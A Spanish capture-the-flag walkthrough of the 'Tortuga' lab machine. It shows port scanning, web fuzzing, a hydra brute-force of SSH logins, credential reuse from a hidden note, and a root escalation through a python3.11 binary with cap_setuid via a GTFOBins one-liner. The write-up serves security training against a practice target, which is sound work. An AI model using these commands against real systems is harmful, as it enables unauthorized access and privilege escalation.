Tortuga - TheHackerLabs

Esta fue una máquina bastante sencilla. Después de analizar los escaneos, vamos directamente a la página web activa en el puerto 80, donde encontramos 2 pistas sobre la máquina, siendo la primera un usuario al que le aplicamos fuerza bruta con hydra, siendo así que descubrimos su contraseña y ganamos acceso vía SSH. La segunda pista nos lleva a un archivo oculto que contiene la contraseña de otro usuario. En ambos usuarios no tenemos privilegios dentro de la máquina, así que usamos linpeas.sh para buscar una forma de escalar privilegios, encontrando así que el binario Python3 tiene la capability SETUID. Utilizamos un comando de la guía de GTFOBins que nos permite escalar privilegios abusando de esta capability y logramos escalar privilegios.

Herramientas utilizadas:

  • ping
  • nmap
  • wappalizer
  • ffuf
  • gobuster
  • hydra
  • nxc
  • ssh
  • sudo
  • grep
  • linpeas.sh
  • scp
  • chmod
  • GTFOBins
  • python3






Recopilación de Información


Traza ICMP

Vamos a realizar un ping para saber si la máquina está activa y en base al TTL veremos que SO opera en la máquina.

ping -c 4 192.168.100.180
PING 192.168.100.180 (192.168.100.180) 56(84) bytes of data.
64 bytes from 192.168.100.180: icmp_seq=1 ttl=64 time=3.68 ms
64 bytes from 192.168.100.180: icmp_seq=2 ttl=64 time=0.894 ms
64 bytes from 192.168.100.180: icmp_seq=3 ttl=64 time=0.981 ms
64 bytes from 192.168.100.180: icmp_seq=4 ttl=64 time=1.79 ms

--- 192.168.100.180 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3016ms
rtt min/avg/max/mdev = 0.894/1.834/3.675/1.118 ms

Por el TTL sabemos que la máquina usa Linux, hagamos los escaneos de puertos y servicios.


Escaneo de Puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.100.180 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-01 16:20 -0600
Initiating ARP Ping Scan at 16:20
Scanning 192.168.100.180 [1 port]
Completed ARP Ping Scan at 16:20, 0.08s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 16:20
Scanning 192.168.100.180 [65535 ports]
Discovered open port 22/tcp on 192.168.100.180
Discovered open port 80/tcp on 192.168.100.180
Completed SYN Stealth Scan at 16:21, 9.47s elapsed (65535 total ports)
Nmap scan report for 192.168.100.180
Host is up, received arp-response (0.00087s latency).
Scanned at 2026-02-01 16:20:55 CST for 9s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
MAC Address: XX (Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 9.71 seconds
           Raw packets sent: 72897 (3.207MB) | Rcvd: 65536 (2.621MB)
Parámetros Descripción
-p- Para indicarle un escaneo en ciertos puertos.
–open Para indicar que aplique el escaneo en los puertos abiertos.
-sS Para indicar un TCP Syn Port Scan para que nos agilice el escaneo.
–min-rate Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000).
-vvv Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo.
-n Para indicar que no se aplique resolución dns para agilizar el escaneo.
-Pn Para indicar que se omita el descubrimiento de hosts.
-oG Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts.


Solamente hay dos puertos abiertos. Ni más ni menos.


Escaneo de Servicios

nmap -sCV -p 22,80 192.168.100.180 -oN targeted
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-01 16:21 -0600
Nmap scan report for 192.168.100.180
Host is up (0.00081s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 bd:bc:74:bc:a6:ab:09:29:2d:88:42:16:91:93:b1:a4 (ECDSA)
|_  256 3b:99:fe:7e:ab:ae:b3:a7:05:b2:d1:73:08:6e:e7:a9 (ED25519)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: Isla Tortuga
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: XX (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.83 seconds
Parámetros Descripción
-sC Para indicar un lanzamiento de scripts básicos de reconocimiento.
-sV Para identificar los servicios/versión que están activos en los puertos que se analicen.
-p Para indicar puertos específicos.
-oN Para indicar que el output se guarde en un fichero. Lo llame targeted.


Analizando el escaneo, vemos que la página web activa en el puerto 80 utiliza Apache2, pero no vemos más información, así que vamos a revisarla.




Análisis de Vulnerabilidades


Analizando Servicio HTTP

Entremos:

Parece ser una página sobre piratas.

Veamos qué nos dice Wappalizer:

No nos dice mucho.

Tenemos dos páginas que podemos visitar; veamos la primera:

Aquí nos dejan una pista y remarcan el nombre grumete, siendo que puede ser un usuario de la máquina víctima.

Veamos la segunda página:

Vemos los nombres de la tripulación tortuga y nos dejan un mensaje que puede ser una pista.

Al ver que se usan páginas creadas con PHP, puede que existan más, así que apliquemos Fuzzing para ver qué más encontramos.


Fuzzing

Primero probemos con ffuf:

ffuf -w /usr/share/wordlists/seclists/Miscellaneous/Words/real_academia_espanola_RAE_spanish_105582_words.txt:FUZZ -u http://192.168.100.180/FUZZ -t 300 -mc 200,302 -e .php,.txt

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.100.180/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Miscellaneous/Words/real_academia_espanola_RAE_spanish_105582_words.txt
 :: Extensions       : .php .txt 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 300
 :: Matcher          : Response status: 200,302
________________________________________________

mapa.php                [Status: 200, Size: 922, Words: 304, Lines: 42, Duration: 26ms]
tripulacion.php         [Status: 200, Size: 993, Words: 185, Lines: 34, Duration: 17ms]
:: Progress: [316746/316746] :: Job [1/1] :: 145 req/sec :: Duration: [0:02:06] :: Errors: 0 ::
Parámetros Descripción
-w Para indicar el diccionario a usar en el fuzzing.
-u Para indicar la URL a utilizar.
-t Para indicar la cantidad de hilos a usar.
-e Para especificar una extensión a buscar.
-mc Para aplicar un flitro que solo muestra resultados con un código de estado especifico.


Ahora probemos con gobuster:

gobuster dir -u http://192.168.100.180 -w /usr/share/wordlists/seclists/Miscellaneous/Words/real_academia_espanola_RAE_spanish_105582_words.txt -t 300 -x php,txt --ne
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.100.180
[+] Method:                  GET
[+] Threads:                 300
[+] Wordlist:                /usr/share/wordlists/seclists/Miscellaneous/Words/real_academia_espanola_RAE_spanish_105582_words.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Extensions:              php,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
mapa.php             (Status: 200) [Size: 922]
tripulacion.php      (Status: 200) [Size: 993]
Progress: 316746 / 316746 (100.00%)
===============================================================
Finished
===============================================================
Parámetros Descripción
-u Para indicar la URL a utilizar.
-w Para indicar el diccionario a usar en el fuzzing.
-t Para indicar la cantidad de hilos a usar.
-x Para especificar una extensión a buscar.
–ne Para que no muestre errores.


No encontramos nada más.

De momento, tenemos lo que puede ser un usuario válido de la máquina víctima, siendo el nombre gruemete, por lo que podemos aplicarle Fuerza Bruta para averiguar su contraseña.




Explotación de Vulnerabilidades


Aplicando Fuerza Bruta al Servicio SSH

Para aplicar la Fuerza Bruta utilizaremos la herramienta hydra y el wordlist rockyou.txt:

hydra -l 'grumete' -P /usr/share/wordlists/rockyou.txt ssh://192.168.100.180 -t 64
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-02-01 16:32:49
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking ssh://192.168.100.180:22/
[STATUS] 556.00 tries/min, 556 tries in 00:01h, 14343875 to do in 429:59h, 32 active
[22][ssh] host: 192.168.100.180   login: grumete   password: **********
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 28 final worker threads did not complete until end.
[ERROR] 28 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-02-01 16:34:59

Podemos comprobar que la contraseña funciona con la herramienta netexec:

nxc ssh 192.168.100.180 -u 'grumete' -p '**********'
SSH         192.168.100.180   22     192.168.100.180    [*] SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
SSH         192.168.100.180   22     192.168.100.180    [+] grumete:**********  Linux - Shell access!

Excelente, sí es correcta.

Entremos vía SSH:

ssh grumete@192.168.100.180
grumete@192.168.100.180's password: 
Linux TheHackersLabs-Tortuga 6.1.0-38-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.147-1 (2025-08-02) x86_64
...
Last login: Sun Feb  1 22:37:38 2026
grumete@TheHackersLabs-Tortuga:~$ whoami
grumete

Estamos dentro.

Aquí podemos encontrar la flag del usuario:

grumete@TheHackersLabs-Tortuga:~$ ls
user.txt
grumete@TheHackersLabs-Tortuga:~$ cat user.txt
...




Post Explotación


Escalando Privilegios Abusando de Capability SETUID en Binario Python

Veamos qué privilegios tenemos:

grumete@TheHackersLabs-Tortuga:~$ sudo -l
sudo: unable to resolve host TheHackersLabs-Tortuga: No existe ninguna dirección asociada al nombre
[sudo] contraseña para grumete: 
Sorry, user grumete may not run sudo on TheHackersLabs-Tortuga.

Ninguno.

Leamos el /etc/passwd para ver los usuarios de la máquina:

grumete@TheHackersLabs-Tortuga:~$ cat /etc/passwd | grep "bash"
root:x:0:0:root:/root:/bin/bash
capitan:x:1001:1001::/home/capitan:/bin/bash
grumete:x:1002:1002::/home/grumete:/bin/bash

Aparte del nuestro, hay otro usuario llamado capitan.

Si recordamos, en la página web nos indicaron que le dejaron una nota al usuario grumete. Revisando todos los archivos de este usuario, veremos la nota como un archivo oculto:

grumete@TheHackersLabs-Tortuga:~$ ls -la
total 28
drwxr-xr-x 2 grumete grumete 4096 feb  1 22:46 .
drwxr-xr-x 4 root    root    4096 sep  5 11:49 ..
lrwxrwxrwx 1 grumete grumete    9 sep  5 11:59 .bash_history -> /dev/null
-rw-r--r-- 1 grumete grumete  220 abr 23  2023 .bash_logout
-rw-r--r-- 1 grumete grumete 3564 sep  5 11:48 .bashrc
-rw-r--r-- 1 root    root     791 sep  5 13:23 .nota.txt
-rw-r--r-- 1 grumete grumete  807 abr 23  2023 .profile
-r-------- 1 grumete grumete   33 sep  5 11:55 user.txt

Leámosla:

grumete@TheHackersLabs-Tortuga:~$ cat .nota.txt 
Querido grumete,

Parto rumbo a la isla vecina por asuntos que no pueden esperar, estaré fuera un par de días. 
Mientras tanto, confío en ti para que cuides del barco y de la tripulación como si fueran míos. 

La puerta de la cámara del timón está asegurada con la contraseña: 
    "**********"  

Recuerda, no se la reveles a nadie más. Has demostrado ser leal y firme durante todos estos años 
navegando juntos, y eres en quien más confío en estos mares traicioneros.

Mantén la guardia alta, vigila las provisiones y cuida de que ningún intruso ponga un pie en cubierta.  
Cuando regrese, espero encontrar el barco tal y como lo dejo hoy (¡y nada de usar la bodega de ron 
para hacer carreras de tortugas otra vez!).  

Con la confianza de siempre,  
— El Capitán

Muy bien, tenemos la contraseña del usuario capitan.

Vamos a probarla:

grumete@TheHackersLabs-Tortuga:~$ su capitan
Contraseña: 
capitan@TheHackersLabs-Tortuga:/home/grumete$ whoami
capitan

Veamos qué privilegios tiene:

capitan@TheHackersLabs-Tortuga:/home/grumete$ sudo -l
sudo: unable to resolve host TheHackersLabs-Tortuga: No existe ninguna dirección asociada al nombre
[sudo] contraseña para capitan: 
Sorry, user capitan may not run sudo on TheHackersLabs-Tortuga.

Tampoco tiene alguno.

Utilicemos la herramienta linpeas para que busque alguna vulnerabilidad.

Puedes descargarlo aquí:

Una vez que lo tengas, utilizaremos la herramienta scp para cargarlo a la máquina:

scp linpeas.sh grumete@192.168.100.180:/home/grumete/
grumete@192.168.100.180's password: 
linpeas.sh

Vuelve a entrar, dale permisos de ejecución y ejecútalo:

grumete@TheHackersLabs-Tortuga:~$ chmod +x linpeas.sh
grumete@TheHackersLabs-Tortuga:/tmp/Privesc$ ./linpeas.s

Después de ejecutarlo, vemos que el binario python3.11 tiene la capability CAP_SETUID:

╔══════════╣ Capabilities
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#capabilities
...
Files with capabilities (limited to 50):
/usr/bin/ping cap_net_raw=ep
/usr/bin/python3.11 cap_setuid=ep

Esto también lo podemos ver con el comando getcap:

grumete@TheHackersLabs-Tortuga:~$ getcap -r / 2>/dev/null
/usr/bin/ping cap_net_raw=ep
/usr/bin/python3.11 cap_setuid=ep

Podemos buscar en la guía de GTFOBins una forma de escalar privilegios con capabilities de Python:

Encontramos una:

Probémosla:

grumete@TheHackersLabs-Tortuga:/tmp/Privesc$ /usr/bin/python3.11 -c 'import os; os.setuid(0); os.execl("/bin/bash", "bash")'
root@TheHackersLabs-Tortuga:/tmp/Privesc# 
root@TheHackersLabs-Tortuga:/tmp/Privesc# whoami
root

Somos Root.

Obtengamos la última flag:

root@TheHackersLabs-Tortuga:/tmp/Privesc# cd /root
root@TheHackersLabs-Tortuga:/root# ls
root.txt
root@TheHackersLabs-Tortuga:/root# cat root.txt
...

Y con esto, terminamos la máquina.



  • https://github.com/peass-ng/PEASS-ng
  • https://gtfobins.org/gtfobins/python/


FIN